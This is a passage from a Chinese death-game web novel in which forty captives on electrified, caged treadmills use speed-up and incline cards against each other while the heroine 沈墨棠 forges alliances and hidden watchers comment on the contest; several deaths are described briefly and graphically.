“嗡嗡嗡……”
杜泽峰咒骂了一句“卧槽”,开始慢跑起来。
“他妈的!别害死人呐!槽!”他话虽这么说,但也毫不犹豫按了【加速】!
下一个,10号……
【加速】!
11号,【加速】!
12号,【加速】!
13号,【加速】!
“嘀嘀”的道具卡音效以及“嗡嗡嗡”的履带加速声不绝于耳……玩家们一边咒骂上一位玩家,一边给下一位玩家使用道具。
14号,叶小霓。
红光降到她的笼子里,她抬头看向15号的位置。
15号已经淘汰。
她的道具卡将作用于16号玩家。
这跟上局可以全活的游戏不一样,一人一个笼子,规则简单到近乎只有一条。
这是一场没人能得到帮助,也帮助不了别人,且一定会分出胜负的游戏!
咬咬牙,强烈的求生欲让她迅速按下【加速】。
对不起了!
她看了一眼16号,调整好呼吸。
她还是更想活着!
手指和红灯也跳过淘汰的人,直接指向16号。
“嘀嘀。”
【加速】!
……
按照当前局势往下走,最占
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优势的,将会是最先开启潘多拉魔盒的人——5号。
她此时还处在5公里/小时的行走状态,至少将保持到所有玩家都执行过操作,手指装置转一圈……以每名玩家10秒计算,她至少能安然无忧地继续散步6分钟。
4号夏菲在她之前,也能享受基本相同的优势。
然后是3号、2号、1号……
沈墨棠脑中不断推演着游戏将如何变化。
毕竟这是一场自己所不擅长的游戏。一场需要结合体力、耐力、身体因素来考量的致命游戏。自己唯一能做的,就是保持冷静,节省体力,好好思考。
随着身体逐渐活动,原本毫无知觉的胃开始绞痛——她已经不知道自己饿了几天,但一动脑,就能立刻察觉到里面空荡荡的什么都没有。
这不就是空腹跑步?真的会谢!
沈墨棠皱了皱眉,目光还是跟随“手指”,看向17号。
“嘀嘀。”【加速】!
18号是赵莹莹。
她的位置大概在沈墨棠的正对面,从最开始一醒来的时候,就不断朝沈墨棠投来目光。
两人基本处在场地两端,离得太远。
沈墨棠边走边感慨:如果她是赵莹莹,上一场就应该直接离开,也不知道现在赵莹莹会不会后悔。
赵莹莹当然后悔,要是上一场没那么多疑,相信沈墨棠一次就好了!
虽然沈墨棠不一定放她离开,但是万一……万一沈墨棠真的履行承诺了呢?沈墨棠脚下的那块木板是那个高令拆的,说不定她也想报仇呢……
可惜想的这一切都已经来不及了,赵莹莹现在只能先保持呼吸节奏,目光转向19号,深吸一口气使用【加速】。
在她之后,就是那个可怕的“运动团体”——19号到25号!
19号是个穿瑜伽裤,身上肌肉线条流畅的女人,她看向赵莹莹,微微一笑,伸出手指点了【加速】。
20号的男人染着一头白毛,黑色背心下,一身的肌肉也不是摆设。
9……
8……
7……
6……
红灯和手指对准他,五张道具卡也全部翻开等待使用,跑步机速度变成了7公里/小时。
4……
3……
2……
1……
“手指”转动……
20号没使用道具卡!
停下来了吗?
沈墨棠眸光一沉。
这个逐渐疯狂的局面会从这里开始出现转机吗?
她的目光紧随着手指转下下一个玩家,21号,一个穿网球裙的中年女人。
可能是平常长期保持运动,她仍处在行走的状态,看上去很轻松。
但她很快伸出手指,“嘀嘀”按下了面前的【加速】。
22号的中年男人开始慢跑。
又开始了。
果然不是说能停下来就能停下来的。
现场大部分人的目光都集中在20号身上。
这个白毛男为什么不按加速?他为什么要帮21号保存体力?
难道他对自己真的那么有自信吗?还是说他发现了游戏的另一种玩法?
困惑归困惑,但该拉别人下水还是得拉。
22号看了眼下一位玩家,还是按了【加速】。
这游戏事关生死,只有八个人能最终活下来……谁都无法保证自己能否存活,只有天真的傻子和不想活的疯子才会对别人手下留情。
23号,【加速】!
24号,【加速】!
25号,【加速】!
“运动天团”之后的26号,高令。手指指向他的时候,他的目光还留在20号身上。直到面前的卡牌翻转过来,他犹豫了几秒,才按下【加速】。
27号,【加速】!
28号,【加速】!
……
似乎有哪里不对劲?
沈墨棠边走边凝眉思考。
这个游戏……
可能不只考验体能。
吵杂的环境、逐次移动的聚光、五张不同功能的道具卡……都在暗示相邻玩家除了相互伤害以外……既然能选择伤害与不伤,那么就意味着
——还能结盟!
明面上看,相邻玩家对彼此的威胁最大;但同样的,因为离得近的关系,相邻的两个玩家可以进行交谈。
只要谈判顺利,就能联合起来,利用其他玩家的竞争关系,为彼此保留体力。
先等其他玩家相互消耗,保证彼此能顺利进入游戏后半程!
沈墨棠抬头,看向场地光源对面的20号和21号。
那两个人……
这么快就结盟了?
14. 跑步了解一下3
“监控室”内。
“这游戏……”北庄沉吟着:“玩法也太单一了嘛?那个白毛身体条件那么好,就算是硬跑,看起来也是能撑到最后的!”
“所以不公平。”东庄愤愤然。
“白毛啊,这两个人,之前两个游戏都在一起。”西庄咳嗽一声,“我看一下叫什么来着……欧阳浩宇、罗钧钧,咳咳……我在上一个游戏看过他们的资料,同一家传媒公司的同事……唉,这场游戏又分到上下家,缘分啊!”
北庄嗤之以鼻:“缘分?再怎么缘分,也得看有没有那个命撑到最后。那个女的……罗钧钧是吧,我看都快四十了吧?这年龄的身体,很危险咯!”
“看得倒是挺准。”
“哼,我北庄看人一向很准……年龄这东西,你是不知道,每十年一道坎哦!”
西庄笑起来:“北庄大妹子,你这也太瞧不起人了……这两个人在之前游戏中已经建立信任基础,在这游戏里又相互挨着,你看那个白毛,第一轮就懂怎么保存实力了……我说啦,团队的力量肯定大于个人……”
“得了吧,那白毛用得着团队嘛?”北庄感叹:“估计全场都跑死了,他都还轻轻松松呢!”
“哈哈哈,各人身体条件不一样……”西庄似乎很得意,看着白毛男遥想当年:“想我年轻的时候,也是能一口气跑20公里嘞!”
“就吹吧老西!你当年要真那么能跑,至于现在落下这病根?”
北庄停顿了一下,似乎是觉得揭人伤疤,她转移话题:“喂,东庄弟弟,你觉得这场游戏结果如何,按我说吧,肯定是体力好的人赢吧?这群人里……可不止一个白毛哦!这组跟你们东城的气质很搭啊!”
“对啦。”西庄好像没受影响,跟着搭腔:“你们看,也有好几个女娃子能跑的咯!那个……白毛右边那个年轻的……一看体格就知道能跑!”
“老西!又没人问你!就你在那边叽叽歪歪的!”
“这组里面好像有几个熟人啊,你们看第十一个亮灯的,那个穿得像是搞摇滚的,之前好像是南城的人喏……”西庄笑了笑,眯起眼睛盯着监视屏,忽然换了副口吻,“哎哟……巧了,还有第三十个,那个中分头,不就是上一个玄四筒吗?”
北庄发出一声:“是吗?”
随后笑着掩饰疑惑:
“哟,老西,我北庄上边的故人你都认识?看来你确实在城里呆挺久呀……”
“那可不,我都……”
“往下看。”东庄打断西庄,他现在只关心沈墨棠能不能跑到最后,并不想听西庄再讲那些老黄历的故事。
显示屏画面中,游戏现场的灯光匀速变动着。
……
“嗡嗡嗡……”
不断有新的【加速】卡被使用。
手指装置甚至都还没转完第一圈,已经超过半数的跑步机都升为“2档”。
现场越来越吵。
除了最初噪音,还有慢跑的步伐、人的喘息、哀叹、各种细碎的说话声。20号的行为引起了其他人的思考,不少相邻的玩家想明白了之后也开始尝试交流。
“你脑子有泡吧!”
“跟我合作什么不好……哎!”
一阵熟悉又短促的骂街上,听起来很不妙。
9号杜泽峰,还有他的下家10号。
两人好像发生争执,或许是10号先提出合作,然后杜泽峰不愿意,开始回怼,两人就争执起来,在杜泽峰的口无遮拦下,两个人也越来越暴躁。
沈墨棠投去视线的时候,正见到杜泽峰放下竖着中指的手。
被挑衅的10号本就有点气喘,抬手的时候身体忽然失去平衡,发出一声“哎”之后脚底发软,跪摔在跑步机上!
履带无情地将他身体放平,他条件反射想要往旁边离开履带,结果碰到高压铁网格——
“吱——啪啪!”
两声可怕的触电锐响,他的身体蹦了两下,直接被送进后方碎木机的入料口!
“嗤嗤嗤嗤嗤嗤嗤嗤嗤嗤嗤嗤嗤!!!”
红色漫洒。
“我槽哦……!”
杜泽峰抖了一下,10号离他离得太近,碎木机的运作让人感同身受,他咬牙调整着呼吸,额头和后脖子的汗水已经沾湿头发。
此时场地中间的手指正指向34号玩家。
按照每名玩家10秒计算,游戏时长总共才过去五分多钟。
就算5号一开始,就给后方的玩家提速到7公里/小时,这个速度对正常人而言也还算轻松。
然而身处四面八方都充满“死亡威胁”的环境,玩家们很难以平常心来跑步。
更何况游戏开始前,大家已经不知道被饿了多久,身体又经过怎样的摧残,每个人醒来的时候多多少少都带着不适感。
除非,平时就有相应的锻炼,形成本能的身体记忆,能在跑步的过程中无意识调节呼吸和节奏。
否则那种对死亡的恐惧感,会像无形的手掐住心脏,逼它更加用力跳动,消耗掉血液中更多的氧气。
喉咙被扼住,明明想要大口呼吸,却始终填不满肺部。
逐渐控制不了身体,跑步动作开始变形……
最终在某个始料未及或者心怀绝望的瞬间……
坠入被安排好的死亡。
“剩余38人。”
广播无情宣判着。
沈墨棠朝自己的上家看过去,她觉得自己不能再坐以待毙。
“同学。”她尝试和39号沟通。
右手边的39号玩家,是一个带着黑框眼镜,高中生模样的男孩。他的注意力正跟着手指装置移动,并没有听到沈墨棠的声音。
35号,【加速】!
36号,【加速】!
37号,【加速】!
……
“同学。”沈墨棠尝试又叫一声,终于吸引39号回头。
“这个游戏,一个人很难赢。”她意有所指:“相邻的人之间,存在合作的机会。”
39号似乎还没反应过来沈墨棠话中的意思。不知道是不是因为紧张,他只看到沈墨棠乱七八糟的刘海贴在额头,嘴巴一张一合似乎在说些什么,但听不清楚,两人只能隔着两道铁网对视。
手指模型已经指到38号。
【加速】!
“注意脚下。”沈墨棠善意地开口提醒,毕竟39号的跑步机正要提速到二档。
手指装置转向39号,高空的红光也打在他身上,出现10秒倒计时。
“嗡嗡嗡……”
他的跑步机升档为7公里/小时。
“呼……”39号调整了呼吸,适应新的速度,开始慢跑。
“——咔——”
五张道具卡翻转过来。
9……
8……
7……
他观察着道具卡,阅读上面的描述。
“我的建议,把道具卡留着。”沈墨棠抓紧时间解释:“每张道具卡都只能用一次。”
6……
5……
4……
“现在用掉太早了。”她放低音量,让语气显得更私密而诚恳:“相信我,留着道具卡,后期将会更有优势。”
3……
2……
1……
39号的目光再次从道具卡上挪向沈墨棠。
沈墨棠没有移开视线。
“——咔——”
五张道具卡翻转。
39号最终没有动作。他好像听到沈墨棠说的“合作机会”、“有优势”之类的话……这个游戏,还能合作吗?
手指装置很快跳转到40号——沈墨棠。
红光打下,沈墨棠变成全场焦点。
许多玩家纷纷投来困惑的眼神,面面相觑甚至和身边的人讨论……在其他人的视角中,只看到40号在十秒内对39号说了什么,然后39号就放弃使用道具卡了。
沈墨棠稍稍松了口气,现在她可没时间去关心其他人的想法。
当下最重要的,在于时间。
每名玩家只有10秒钟的行动时间。
回想一下红蟹所说的规则,就不难发现,“跑步了解一下”这个游戏中,玩家只会受到来自前一位玩家的“攻击”。
所以,真正对沈墨棠有威胁的,不是场上其他三十九个人……而是39号!
第一圈下来,真正对她有威胁的,就只有39号!
正如20号放过了21号那样,只要前一个人不进行任何动作,后一个人就能保持最初的状态。
如果不想办法的话,39号大概率会采用5号白衣女的策略,先使用道具卡耗死自己的下一家。毕竟这个方法前面每个人都用了,而且确实是对下家造成不小的影响,轮到他的时候,肯定也会跟着用。
沈墨棠要做的,就是打破他的这种“惯性思维”。
首先声明“合作”,让39号意识到“玩家和玩家之间并不完全是竞争关系”;提醒他“当心”以此释放善意
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;用“道具卡只能使用一次”这样的大实话,增加可信度。
随后站在对方的立场,抛出诚恳建议“现在用掉太早了”;最后重申“留着道具卡”的意图。
实际上,不论39号最终的选择是什么,只要让他思考的时间超过10秒,来不及按下任何道具卡,就已经算是做出决断。
时间是游戏的关键!
沈墨棠迅速回头,将目光投向自己的下家1号——宅男。
“我不使用道具。”她争分夺秒说着:“至少我们两个,现在有优势。”
“优势……?”1号面带困惑。
“我不给你提速……”沈墨棠话说一半,目光垂落到1号跑步机,随后又瞥向他左边的2号玩家。
提示得很明显。
1号点头同意。他反应很快,两眼放光,迅速理解了“优势”是什么:
现在40号和1号都是初始速度,而其他大部分人处在7公里/小时的慢跑状态,只要一直保持这样,就能在体力上占据优势!
3……
2……
1……
道具卡翻转,沈墨棠信守承诺,不使用任何道具卡。
自此游戏进行过第一圈,手指第二次指向1号玩家。
“我们两个,保持优势。”宅男似乎明白了什么——前提是要让尽可能多的人跑起来!
“嗯!”他果断使用了【加速】!
“嘀嘀。”
“嘿你这个狗玩意儿!”2号发现1号已经跟沈墨棠联盟,骂了一句之后,只能光着脚开始慢跑。“都给我跑起来!”她也使用【加速】。
3号的身高腿长,即便跑步机速度提升,还是感觉他基本没怎么跑,仅有的变化就是走路步伐加快许多。
他的下家是4号,夏菲。
红光打在3号铁网格上,明暗对比鲜明,令两边的玩家处在暗处。
夏菲藏在“灯下黑”中,打量其他人,沈墨棠余光看过去,看到夏菲嘴巴开合低声说着什么,只有她左右的人听得见。
看来,她也反应过来了。
3号似乎被说服了,他犹豫了一下,最终选择不使用道具卡。
4号夏菲,也没有使用道具卡。
5号,第一个使用道具卡的玩家,开启潘多拉魔盒的白衣女。
“——咔——”
她身前只有4张道具卡翻转——最左边的那张【加速】没有转过来,果然每张卡只能使用一次。
“继续啊!都这种时候了!不然上一轮不就白干了?对不起啊妹妹,我没的选,不是你死就是我死!”
她看了一眼6号,毫不犹豫,恶狠狠地按下了另一张道具卡【加坡】!
“嗡嗡嗡……”
6号咬着牙,来不及说任何话,连忙调整呼吸频率。她的跑步机缓缓改变与地面的夹角,呈现大概5°的坡度。
沈墨棠盯着夏菲和5号。这两人也结盟了。
不仅如此,包括3号也加入了夏菲的阵营。
人天然依赖于自己的长处,形成固定的思维路径。
这场游戏中,那些体力好的,对自己跑步有自信的选手,都会想着如何调整呼吸、调整身体状态、坚持得更久。
而那些体力差的,从一开始就发觉自己在游戏中身处劣势的玩家,则会专注于利用规则,通过结盟、社交等方式来增加胜算。
夏菲明显属于后者。
不过现在最令人同情的,应该是6号玩家,她是游戏中第一个被【加速】又【加坡】的倒霉蛋!
这就意味着,她被淘汰的概率大大增加了!
她瞪了5号一眼,想骂人,但又不知道从何骂起,只能咬咬牙,无奈也按下【加坡】!
7号,【加坡】!
“卧槽!卧槽!前面的冷静点!别搞事啊!”手指还没指向8号,杜泽峰额头上的汗已经滴下来。
8号,【加坡】!
“卧!槽!”
9号。
杜泽峰气急败坏:“都傻的吗?槽!……先搞那几个还没被搞过的哦!他妈的!老子怎么老是遇到你们这些瓜的!”
他心虚的朝沈墨棠和夏菲这边看,很明显,目前有的人仍处在令人羡慕的“散步”状态……只要游戏继续这么进行下去,这些玩家“节省体力”的优势将无限放大!
话是这么说……
但杜泽峰还是按了【加坡】!
5号有句话说对了。
这个游戏,不是你死,就是我亡!
15. 跑步了解一下4
杜泽峰之后,10号在第一轮的时候误触铁丝网已经被淘汰。
【加坡】的效果加到11号身上。
11号一副摇滚明星的样子。
对于杜泽峰的【加坡】,她接受得非常平静。看得出来,她已经做好长时间苦战的准备,第一圈还戴着的耳坠、项链都已经被摘下,半短的黑发随着奔跑有规律抖动。
她调整着呼吸,默默按下【加坡】。
但她的下家12号就没那么好过了,【加坡】没几秒,12号就发出一声惨叫:“哇——”
“啪!”
他的黑皮鞋开了胶,在跑步机升坡的过程中打了趔趄,往前扑倒,摔了个狗啃地!脸栽在身前的铁网格上,电火花“啪啪啪”一路迸发,致命般明亮。
僵直而臃肿的身体被送进碎木机。
“嗤嗤嗤嗤嗤嗤嗤嗤嗤嗤嗤嗤!!!!!”
红白碎片洒满小小的铁笼。
第三个了。在场的人都不忍往12号的方向望去,不想去观看那噩梦一般的场景。
不,如果这是某个噩梦那就好了。
“剩余37人。”
可惜,广播声提醒着所有人——这不是梦。
12号还没来得及使用道具就死了。
13号阴差阳错地获得一定优势!
——【加坡】!
没有犹豫,13号虽然没被“攻击”,但还是用了道具!
毕竟……
你死我活!
“嗡嗡嗡……”
手指第二次指向14号,叶小霓。
“呼……呼……呼……”叶小霓张嘴呼吸,保持慢跑节奏,迅速按下【加坡】,看来也准备好打持久战。
她得活着,她得活着离开这里。
叶小霓不断调整着自己的状态,她给自己打气,默默告诉自己,只要她一直跑,一直跑,只要她不停下来,她一定能成为前八名……
一定能……
山里的孩子,哪个不能跑呢?哪个又怕跑呢?
她一定要活下来!
她现在已经跑赢3个人了,她有机会,她一定有机会!
……
“……咳咳……不管看几次,还是觉得这游戏残忍得很……”西庄起身,“走啦,去其他组挑挑看!”
“活下来的人才能进永夜城……哎?老西?这组你真不看啦?”北庄笑着揶揄:
“怎么?你这老狐狸……准备放弃竞争这一组了?”
西庄沙哑的声音渐行渐远:“不争,不争了……咳咳……这个游戏出来的结果都差不多,就剩那几个能跑的,没啥看头咯……”
北庄嘟哝了句“那么狂”。
东庄喃喃:“北……北姐,西庄都走了,你还继续看吗?”
“嗯?”北庄挑眉看向东庄,这是在赶她走的意思?她疑惑:“不是……东庄弟弟啊,你真的愿意挑这组啊?虽然西庄认出两个‘二进宫’的,但依你北姐看估计也活不下来……这个游戏结果很明显了,收这组进城你是吃亏的……”
东庄伸手捂住脸:“都怪这鬼游戏!不然这组实力不差!”
北庄安慰着:“知道你不舍得沈墨棠……但没办法,已经这样了……这组丢给小南吧!反正小南无所谓新人怎么样……来,跟我去看看其他组去!”
黑暗中沉默片刻。
“东庄弟弟?”北庄又开口。
“北姐,我还是觉得……她能赢……”
……
18号,赵莹莹。
她已经开始显露出疲态。
尤其是从她的下家开始,就是运动天团。她的【加速】【加坡】已经全用掉了,但可惜仍然看不到自己有一丝一毫跑赢19号的希望。
在四人赌的游戏里,她依靠自己对叶小霓和董佑宁的了解,暗示叶小霓最终选择董佑宁。
数字绞刑架里,沈墨棠看起来冷漠不配合,但从一开始也和叶小霓对自己进行过提示。
她其实接受过她们的帮助。
回想起来,自己为什么没早点明白这一点,如果她早点想通,上一场她就能相信沈墨棠,让沈墨棠送她离开这个鬼地方……
现在这场跟跑步相关的游戏,赵莹莹明白,她只剩下自己了。
19号的慢跑动作很独特,两侧双臂下垂,完全不发力,跟其他人都不太一样。
她冷漠地看了赵莹莹一眼,转头对20号按下了【加坡】!
“嗡嗡嗡……”
20号,白毛男欧阳浩宇。
10……
9……
8……
7……
他已经被【加速】又【加坡】,但这对他一点影响也没有,甚至微笑着对19号举了个大拇指,露出满口白牙,也不知道是夸赞还是挑衅的意思。
游戏开始到现在,也有10分钟了。他神色如初,对“7公里/小时,5°坡”根本没感觉!
6……
5……
4……
3……
他扭了扭脖子,活动活动肩膀,高大壮硕的身体保持平稳。
看这样子,竟然还没热身。
“小浩宇,亏得是你在我旁边。”21号罗钧钧冲欧阳浩宇笑起来,打了个哈欠。
2……
1……
欧阳浩宇依旧没任何操作,应该是要保定罗钧钧了,他伸手撩了一把头发,冲罗钧钧笑道:“罗姐,客气了。”
场地中央的手指指向罗钧钧,罗钧钧朝22号招了招手,紧接着微笑按下【加坡】。
22号、23号、24号、25号都是可能赢下游戏的热门玩家!
和前面的人一样,25号花了几秒钟适应坡度变化。
25号穿着有体育学院标记的衣服,其他人多多少少都在关注着周边发生的事,但他却没有。
他的目光没有聚焦,表情木楞,只是单纯慢跑,好像这只是一次寻常的体能测试。
10秒过后,他毫无动作。
期间没有眼神交流,也没有开过口。
他的下家是26号高令。
高令选择对27号【加坡】。
“哼……有意思……”
沈墨棠饶有兴致观察着25号和26号——显然,高令已经将这个体育学院男大拉入伙,这两人也结盟了。
27号似乎是向高令发出请求被拒绝了,她恶狠狠盯着旁边的高令,咧着嘴,也不知道是在笑还是在喘气。
她也按下了【加坡】!
“哎哟喂!”
呼喊是17号的,来自场地另一边。
她的上家16号,小跑十多分钟后脸色发白,“哕”地一声干呕出来,身体往前一栽,触碰到高压电前似乎就已经昏迷过去。
跑步机的履带毫不留情……
“嗤嗤嗤嗤嗤嗤嗤嗤嗤嗤嗤!!!!!”
17号浑身发颤发出一声哀叹,好在她脚下没停,坚持保持跑步节奏。
“剩余36人。”
四个人了……
短短不到二十分钟,已经有四个人命丧当场!
这究竟是个什么组织,抓来这么多人,玩着丧心病狂的游戏,丝毫不把人命当回事?
第一个游戏只有四个人……第二个游戏有六个人……第三个游戏增加到四十个人!
从始至终,不论是“主持人红蟹”,还是其他主办方的相关人员,都没有露过面。
玩家们甚至还不知道绑架自己的歹徒是谁!
这里真的存在吗?
这一切是真实发生的吗?
汗水……眼泪……灯光……电流……鲜血……
宛若人间地狱!
“扑通、扑通、扑通……”
沈墨棠意识到,自己左手食指不知什么时候,已经附在大腿外侧,轻轻敲打着。
慢下来、慢下来……
她下意识地做了个深呼吸,抑制难以控制的手指。
这场游戏,不能有半点放松!
倒下的人不够多,游戏还在继续。
场地中央的手指依然往下指去,指向中分头的30号。
30号适应了坡度变化,但他没有使用道具卡。
沈墨棠瞳孔微张。
——31号也仍保持最初的状态。
31号穿着一身浅红色洛丽塔服饰,几乎要跟红灯融为一体。
上一轮中,沈墨棠光顾想要如何阻止39号有所动作,竟然没注意到30号同样没使用任何道具。
也就是说,目前场上保持最初状态的,总共有六个人:1号、4号、5号、21号、31号、40号。
31号似乎对后面的32号说了什么,说完之后并没有使用道具卡。
32号犹豫片刻,同样不使用道具卡。
33号,不使用……
34号,不使用……
一直持续到38号。
……
31-38号短暂形成了一个“免战区”。
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这种“避战”很容易理解。
毕竟在他们对面的区域,那些被【加速】又【加坡】的玩家们,正在一个个死去!
保持当前状态,先耗死其他玩家!
沈墨棠隐隐约约感觉这种策略,应该是来自于保护了31号的30号。
那个中分头。
……
游戏转到第二圈末尾。
依照前面的惯性,39号同样没有使用道具,只是他多问了句:“结盟?”
沈墨棠浅浅提了下嘴角,点点头。
暂时,结盟吧……
人和人之间,只有短暂的陪伴,和永远的分离。
没有谁能和谁真正交心,就像从小到大,身边所谓“朋友”都会因为各种原因,相互疏远,甚至相互背叛。
哪怕连自己,都有可能在某一瞬间放弃自己。
作为个体活着,当你足够强大,便不需要团队,不需要伙伴,不需要朋友。
沈墨棠只是后悔——
为什么没有好好上体育课!为什么没有好好锻炼身体!
所幸,虽然身体素质可能比不过那些“健身达人”,但至少以目前的局势而言,自己仍占据优势,无需采取其他行动。
游戏进行到第三圈。
1号看了眼吃力的2号,脸上表情有些不忍,转而开始犹豫起来。
9……
8……
7……
“扩大优势!”他扭过头不看2号:“不然我们还得多跑一圈!”
体能不行的只能靠道具卡淘汰其他人!
4……
3……
2……
1号最终在倒计时结束前下定决心,按了【加坡】!
“嘀嘀。”
沈墨棠心中一动。
在这个游戏里,对自己有威胁的人,是“前一位玩家”;至于“下一位玩家”则像一个固定的靶子,自己随时可以进行攻击。
但,这个游戏还有一个不可忽视的要点——虽然每个玩家都有5张道具卡,但实际上,能打靶的子弹只有两颗。
【加速】和【加坡】。
至于剩下的三张道具卡【暂停】、【跳过】、【反向】,都无法对“下一位玩家”造成直接威胁。
一旦某个玩家的【加速】和【加坡】都使用了,对于相邻的其他玩家而言,就只成为其安全的“肉盾”。
是的。肉盾。
所有道具卡都只影响“下一位玩家”,所以相邻玩家之间既是竞争,也可以相互保护。
游戏中最安全的状态,就是让左右两侧的玩家都对外“打光子弹”。这样不论是否有玩家使用【反向】调转游戏方向,自己都始终不会受到攻击。
直至相邻的玩家先倒下。
例如现在,就算游戏进行的方向逆转,1号也没有道具卡可以攻击沈墨棠,而且还能帮她挡住来自2号及之后玩家的攻击。
沈墨棠看向另一边。
同理,39号对自己有威胁,但只要有人使用【反转】,她最好的选择是早点让他的【加速】和【加坡】使用在38号身上。
目前基本游戏策略,就是尽可能在身边制造出无威胁的“肉盾”……等到“肉盾”淘汰了,再想方设法制造一个新的“肉盾”……这样就自己就能始终占据优势!
如果连这样,最终都跑不过那些“体能怪兽”……
沈墨棠无奈地看向对面表情轻松的20号,胃部又是一阵绞痛。
“坚!持!就是胜!利!我是谁?我是狼!狼行千里吃肉!坚!持!”
1号刚做完选择,红光还没撤去,就听见7号忽然厉声大喊着打气加油的话。
附近的几个人睨了他一眼,又专注于各自跑步节奏。
“7公里/小时,坡度5°”的慢跑节奏,正常人跑十分钟以上就会开始喘气,心率提高,逐渐进入燃脂,浑身开始发热,开始感受到呼吸频率加快。
这时候需要尽可能延长呼吸,让肺部尽可能充满氧气,扩张,来保证身体的稳定,避免过快出现“运动极限点”。
沈墨棠不太了解运动中“极点”的事情。
只记得以前体育老师说过,长跑时,如果你觉得特别特别难受,就是身体出现“极点”,只要坚持克服过去,就能完成“第二次呼吸”,重新轻松下来。
可体育老师也说过,不能盲目去冲击“极点”。
需要让身体状态做好完全的准备。
否则也有猝死的风险!
16. 跑步了解一下5
“嘀嘀。”
2号仍然选择对3号【加坡】!
手指指向3号。
3号还是没使用任何道具卡。
4号夏菲,没使用道具卡。
5号,白衣女。
她扭头看向6号:“累吗,妹妹?”
6号是全场最先被【加速】又【加坡】的玩家,体能最早被消耗的人,心里早就憋了一肚子火,却没处撒回去。她只能专心脚下,咬牙坚持。
“这游戏呀……”5号放开声音:“……只有八个人能活。”
“最先淘汰的人,和坚持到最后淘汰的人,没有半点区别!”
“早死和晚死,都是死……早死……早解脱!省得受苦呀妹妹!”
白衣女的声音在场地中飘荡,听上去像是在劝说6号早点放弃,但声音却是大到几乎让每个人都能听见。
在这种关头,这些话对于体能差的人而言如靡靡之音,丝丝入耳、入心。
她说的……是实话……
有19、20号那些“体能怪兽”在,其他人只不过是“早死”和“晚死”的区别!
无论再怎么坚持,身体素质带来的巨大差距,都难以逾越,仿佛无法跨越的阶级。有些人的起点就是比其他人好,这有什么办法?有些人运气好,能在半途遇见贵人的指点,这又有什么办法呢?
生命的差距在这场游戏中趋于平等,在某些方面又被极度放大……简直让人绝望!
手指装置转向6号。6号想把受到的气发泄到下一个玩家身上时,忽然就愣住了,一时间不知道该做什么。
她放下抬起的手,看着面前反转过来的三张道具卡:【暂停】、【跳过】、【反向】。
就算使用【反向】调转游戏进行的方向……她也不能再攻击5号了!
毕竟【加速】和【加坡】都已经用掉,所以现在的她无论做什么,都几乎威胁不到其他玩家。
也就是说,现在的她完全变成了游戏场上的一块肉、一块只能帮别人挡伤害的肉、一块可以被吃掉,供其他人活下来的肉……
形势很明显——处在劣势,且使用掉道具卡的玩家,将会率先被游戏抛弃!
3……
2……
1……
“嘀嘀。”
6号无奈,最终只能使用【暂停】。
【暂停】可以让玩家获得1分钟的休息时间。
脚下跑步机“嗡嗡嗡”缓缓停下,6号终于能稍微缓口气,口中喃喃:“我也想跑到最后啊……”
手指指向7号,他也使用了【暂停】。
8号,【暂停】。
于是6号、7号、8号的跑步机都停下来了。
“没必要啊,妹妹。”5号笑了笑,“就跑几分钟而已,没必要停下来休息吧?坚持不住,休息一分钟有什么用啊?!”
真想撕烂你的嘴!6号恨得牙痒痒,但只能顾着喘气,几乎要被气哭。她困在这个通电的笼子里,在逐渐逼近的死亡面前,对5号的嘲讽无能为力。
与此同时,手指装置正第三次指向杜泽峰。
“我槽……呵啊……呵啊……”
满头大汗的杜泽峰由于年纪偏大,加上平时缺乏锻炼,短短十多分钟的跑步已经进入燃脂心率——对于此刻的他而言,明显不是个好迹象。
场上已经有好几分钟没听到他骂脏话了。
4……
3……
2……
1……
他只是坚持奔跑,没进行任何操作,看来是想把【暂停】留在之后。
手指继续往下走。
“为什么……?”沈墨棠抬头,视线落在使用了【暂停】的6号、7号、8号身上,心中升起一抹不解。
【暂停】这张牌的意义是什么?单纯就是让人休息一分钟?
可是……假设每个人的休息效率是一致的……你有能休息我也能休息……那么大家一起休息一分钟的意义是什么?
就像在一场考试中,同时给所有考生加一分,并不影响最终的成绩排名。
最终结果该落后的人还是落后,该淘汰玩家还是要淘汰。
所以【暂停】到底有什么意义?
“一分钟……休息……”沈墨棠微微皱眉,目光逐渐暗淡下来。
游戏还在继续。
11号跑步状态仍然稳定,不使用道具卡;13号不使用道具卡。
14号叶小霓,看着指向自己的食指装置。她张大嘴巴呼吸,步幅保持节奏,双手微微握拳摆臂,专注跑步。不使用道具卡。
叶小霓似乎已经进入她自己的状态里,能用的道具卡也都用了,周围的一切都跟她没什么太大关系。她清楚这场游戏自己无法依赖任何人,只能靠自己并不强壮的身体去拼拼看。
“好消息”是,随着自己的坚持,食指装置每次指向自己,游戏中都会空出不少笼子。
可以。
可以的。
再坚持一圈!
手指装置继续——17号喘着粗气,使用了【暂停】;18号赵莹莹,也使用了【暂停】。
赵莹莹似乎已经认命,反而放松下来,使用了【暂停】兀自停下休息,隔空看了一眼叶小霓跟沈墨棠。
“沈墨棠……”
赵莹莹还记得大学军训时,自己因为做了美甲而被教官一顿训,回宿舍里跟举着两根爪子似的举着双手,跑进隔壁宿舍求助:“你们谁有卸甲水?借我用一下!”
“咦~没人吗?”
赵莹莹探了探头,明明听见她们宿舍里有动静的。
用头顶开宿舍门,迎头刚好几块小积木从天而降。
她顾不得手上的指甲,本能地伸手一接,耍杂技一般将所有积木抓在手中,一块没落。
“给!”赵莹莹记得当时自己当时得意极了,将手上奇怪的积木递回上铺:“我就说刚刚还听见你们宿舍有动静来着,你在玩……积木?”
“Puzzle。”上铺闷声回答。
那是什么?
赵莹莹兴致缺缺,又问了一句:“你有卸甲水吗?借我一下。”
“架子上第二格最左边的白色盒子里。”上铺有人头也不回。
“找到了!”
自行找到卸甲水,赵莹莹这才正式认识了这个叫做沈墨棠的同班同学。
虽然才大一刚开学,大家都是新生,彼此之间还未完全熟络,但赵莹莹仍是忍不住吐槽了一句:“姐妹,你这铁刘海焊额头上的吧?”
换来沈墨棠双手略微停顿,以及一句:“用完放回原位。”
“呵呵……”赵莹莹忍不住想笑,站在跑步机上痛苦喘息。她看向对面,此时沈墨棠那铁刘海,乱七八糟的糊成一团,“……好丑啊!”
为什么?为什么我们才刚上大一,才刚刚要开始崭新的人生,才……为什么要出现在这里?在死亡的边缘徘徊?进行这种无聊透顶的恐怖游戏?
我要离开这里,我要回家……回家……
……
“呀啊啊啊!”
场上响起一声咆哮,引得大家抬头看去。
只见28号步伐沉重,踩在跑步机上“乓乓”作响,感觉随时都会停下——明眼人都看得出来,她快撑不住了。
一分钟过得很快。
